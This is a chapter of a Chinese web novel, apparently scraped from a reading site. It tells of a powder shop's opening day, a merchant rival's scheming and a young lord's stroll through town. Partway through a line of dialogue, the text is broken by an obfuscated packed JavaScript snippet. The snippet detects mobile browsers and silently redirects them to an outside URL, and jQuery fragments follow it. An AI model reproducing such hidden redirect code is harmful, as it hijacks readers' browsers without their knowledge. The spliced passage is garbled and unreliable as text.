46. 第46章 香山会

作品:《我那不成器的夫君

    祁凛沉吟片刻,道:“办法也不是没有,只是,要看圣人狠不狠得下心了。”


    皇帝并没接话,再看向右相的目光变得有些复杂。


    一旁的鎏金卧龟莲花纹香炉中,香烟袅袅,梨云香的味道悠远绵长。


    “当断不断,反受其乱呐。”祁凛幽幽念了一句,便不再开口,余下的,都留给年轻的皇帝自己去琢磨。


    *


    杜氏香粉铺开张这天,和风习习,碧空如洗。


    苏韵仰脸,笑盈盈看着匾额上的几个大字,这愉悦由心而发,脸上笑容自然也是比平日更灿烂些。


    这是她的第一间铺子,也是她的起点。


    她不是没想过自己给铺子起名字,可一想到这铺子未来的归宿,还是把名字的决定权交到她们母女的手上。


    为了这个名字,杜氏辗转了一夜,也没熬出什么好想法,最后还是李颖如出主意,不如就以阿娘的姓氏命名,杜氏听了,欣然应允,于是定做了现在这块匾额。


    “真好啊!”她由衷叹道。


    杜氏不知何时也站到苏韵身侧,跟着仰头,“是啊,真好啊!”


    两人相视而笑。


    吉时一到,藏春和雪信往燃着的火堆里面扔竹节,竹节被烧得噼啪作响,引来路人围观。


    杜氏站在店门口,朗声道:“各位,今日杜氏香粉铺开张,店内不但有暮山、夕岚粉售卖,还有许多新款香粉,欢迎各位贲临选购!”


    杜氏声音柔却不软,不噪又足以让围观人群都听见。


    苏韵由衷为她鼓掌。


    要知道,昨日听说要她开场,杜氏还打怵得直摇头,嘴里面“不行不行”念了不知道多少次,这短短一句,叫雪信陪着她练了快两个时辰,才有了今日从容松弛的效果。


    “暮山粉!听说不少官眷夫人们都抢着买呢!”


    “都说县主用了都称好呢,县主什么好东西没见过?”


    “是排队都买不到的那个杜家么?”


    围观众人议论纷纷,雪信听见忍不住答道:“没错,就是葵荫路那个杜家。”


    之前一人一家只能拿一盒的限制,吊足了人的胃口,好多小娘子对暮山粉都是只听过,没见过,如今一听说正主开了铺子,自然要凑上去看个够。


    “走走走,进去看看!”


    客人们三五成群往铺子里拥,进门后都不约而同被店内的陈设所吸引。


    左右四周的柜台和博古架上,摆的都是盒装的香粉,与其他铺子以数量累积的摆法不同,每种香粉只摆了一盒,且周围都放了不少装饰物,或木料,或花瓣,或珍珠,以众星拱月般的姿态,将中间的香粉展现出来,主要材料显而易见不说,也更显得其珍贵特殊。


    除香粉外,各处还摆有些玉器铜器,象牙砗磲,瓷盘折扇等,古话都说“庸脂俗粉”,可在这些风雅之物的衬托下,这粉也俗不起来了。


    而店铺中央几步一台,每个台子上都放着一只两尺见方的木匣,木匣里堆着各色香粉,走近每个台子时,不同香气扑面而来,浅浅逛上一圈,便是一场嗅觉盛宴。


    不少人围着台子啧啧称奇,“真没见过这样卖香粉的。”


    李颖如站在柜台后,解释道:“我们女子,一生不知道要用多少盒香粉,香粉用光之后,盒子再没别的用处,可下一次还是要再花钱来买。”


    有人点头附和,“是啊,羊毛出在羊身上。”


    “没错,其实都是我们花钱。”


    “那殷家的香粉盒子那样精致,搞不好盒子比香粉还要贵。”


    “我们深知生活不易!”李颖如继续道,“所以,在我们杜氏香粉铺,您可以拿空的盒子过来买香粉,按两称重,为您省下盒子钱!当然,如果您是买来送人的,我们也有正常的盒装香粉售卖,您按需选购即可!”


    话音刚落,店内一片哗然!


    “这个办法好啊!家里攒了一堆盒子了,什么都装不下,丢了又可惜!”


    “快,陪我回家取盒子去!”


    “我想要盒暮山粉!”


    “我也要!”


    眼看着店里瞬间忙碌起来,苏韵笑着退后几步,为客人们让出空间来。


    不管是闺阁娘子还是深院妇人,在心仪的东西面前,总是会心情大好,这么多张笑脸,映得屋里似乎比店外还要明亮几分。


    突然,一个人引起了她的注意。


    与旁人不同,那人手里虽然也拿着粉盒,眼睛却在四处乱瞟,苏韵心下有了主意,故意拉着蒋玉澜站到一旁说话。


    “光靠这香粉铺子赚钱可不够。”她声音不大不小,“我还准备找些绣娘,做些鞋子来卖,如今西京不是正流行,宝相花纹的云头锦鞋吗?趁风还没刮到这,我们赶紧把手里剩下的钱,都拿去买那宝相花纹的经锦,狠狠赚它一笔!”


    蒋玉澜一头雾水,压低了声音道:“徵儿,你在说什么啊?”


    苏韵暗暗拉了拉对方袖子,又挤了挤眼睛,继续道:“不怕卖不出去!我阿姑就住在西京,那儿的人花钱可大方多了,实在不行,再拉到西京去卖,总是亏不了的。”


    虽然不明白是怎么回事,但蒋玉澜相信,她这样做总有她的道理,于是也点头附和,“啊…对,你说得还真有几分道理。”


    “不过,这件事,可千万不能让别人知道!”苏韵声音并没减弱半分,煞有其事道,“要是叫别人抢了先机,我们囤那么贵的经锦,怕是要赔得血本无归咯!”


    蒋玉澜忙不迭点头,手指放到唇上,“嘘——小声些小声些!”


    ……


    “她真这么说?”殷妙筠半信半疑。


    之前香粉铺子里那人点头如捣蒜,“婢子听得清清楚楚,绝对一字不差!”


    孔易真倒是对后面说这些云啊锦的无感,只是不甘道:“真没想到,断了她们的盒子都能照常开张!”


    殷妙筠白了她一眼,自顾自道:“苏韵说的这个云头锦,倒是真的,我阿娘前几日刚从西京回来,还给我带了一双呢,竹青。”


    竹青应声。


    “那双云头锦是什么花纹的,拿来瞧瞧!”


    “是。”


    不多时,竹青捧着那双鞋回来了,殷妙筠把鞋放在面前矮案上,孔易真和孙五娘都围过来看。


    盯了半晌,孙五娘抬眼道:“还真是宝相花纹。”


    孔易真忍不住伸手摸了摸,“这鞋可真好看,细瞧这花纹,每层花叶似乎都不一样,这层又是什么花叶,我竟没见过…”


    “那是忍冬叶。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022808|186641||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”竹青答道。


    一个婢女都比她有见识,孔易真意识到这点时,脸色瞬间变得很难看,不着痕迹地将手收回,不再去看那鞋子一眼。


    孙五娘注意力都在鞋子上,相看许久,狐疑道:“这么复杂的纹样,一匹锦是不是少说要十几贯?若是这鞋子正风靡,恐怕价格还要再涨些,苏韵她们真的买得起吗?”


    “她不是飞上枝头变凤凰了吗?”孔易真不以为然,“手头定是要比从前宽裕些。”


    殷妙筠思忖着并未开口。


    孔易真赌气道:“妙筠!你就不能直接叫行会摁死她们吗?”


    “摁死?怎么摁,你教教我?”殷妙筠挑眉反问,面色已是不悦。


    孔易真却没眼色,“随便找个由头,叫她们开不了张不就得了?一群跳蚤在眼前跳来跳去,烦死了!”


    殷妙筠冷哼一声,由半躺转为坐,“跳蚤?按方才嫣红所说的人数,价格,粗算一算,她们光今日的进账,恐怕就比你家半个月的进账还要多!她们这样按两称重卖香粉,县里原来的香粉铺子,包括我家的,销量至少要少上四成!日子久了,其他香粉铺子定要效仿她们,如此一来,那些不肯卖她们盒子的木匠们,少赚一半都不止!”


    孔易真哪里想得到这些,闻言不由得一惊。


    孙五娘深以为然,接着说道:“木匠在香粉盒子上亏的钱,定是要在别的上赚回来,那些食盒,妆奁,甚至矮案凭几,供货价都要上涨,可卖价却没什么再提的空间,苏韵这一招,不光是拆了妙筠的招,还会让妙筠家亏不少钱。”


    “这…”孔易真好像听明白了,又好像不明白,“香粉盒子才几个钱?”


    “滴水成渊。”孙五娘解释道,“每样东西涨不了多少,可妙筠家铺子多,木制品需求量大,这加五文,那加十文,累积算下来,也是一笔不小的开销。”


    孙五娘刚刚说的这些,殷妙筠自然都想得到,可想得到是一回事,被人摆在明面上来说又是另外一回事。


    殷家家大业大,亏这么点钱她当然不在乎。


    可在与苏韵的交锋中败下阵来,却是她绝对绝对不能忍的!


    “在我学打算盘的时候,她还在哭鼻子呢,跟我斗!”殷妙筠缓缓起身,双目赤红,“苏韵,这可是你自找的。”


    *


    谢三省正百无聊赖在武当县街上走着。


    谢怀序亦步亦趋跟在后面,压低了声音道:“郎君,不是说怕打草惊蛇吗,咱们怎么还来?”


    “当然是有正事要办了。”谢三省头都懒得回,“再说,孙政都死了,敌我已经心照不宣了,在想出下一步棋之前,都只能杵在棋案前装死,我们到这来又有什么要紧?”


    谢怀序似懂非懂点点头,随后又不解问道:“郎君,那今日少夫人铺子开张,为什么不让咱们去啊?”


    谢三省摇着腰间玉佩,偏头斜了一眼,“早上她出门的时候,你怎么不问她?”


    “您都不问,我问算怎么回事。”谢怀序嘟囔着。


    “还能是因为啥,怕那群小娘子们都只顾着看我,没人买东西了呗!”


    谢怀序撇撇嘴,突然看见前面一个熟悉的身影,“哎,那不是严郎君么?他怎么也在这?”


    “…还真是。”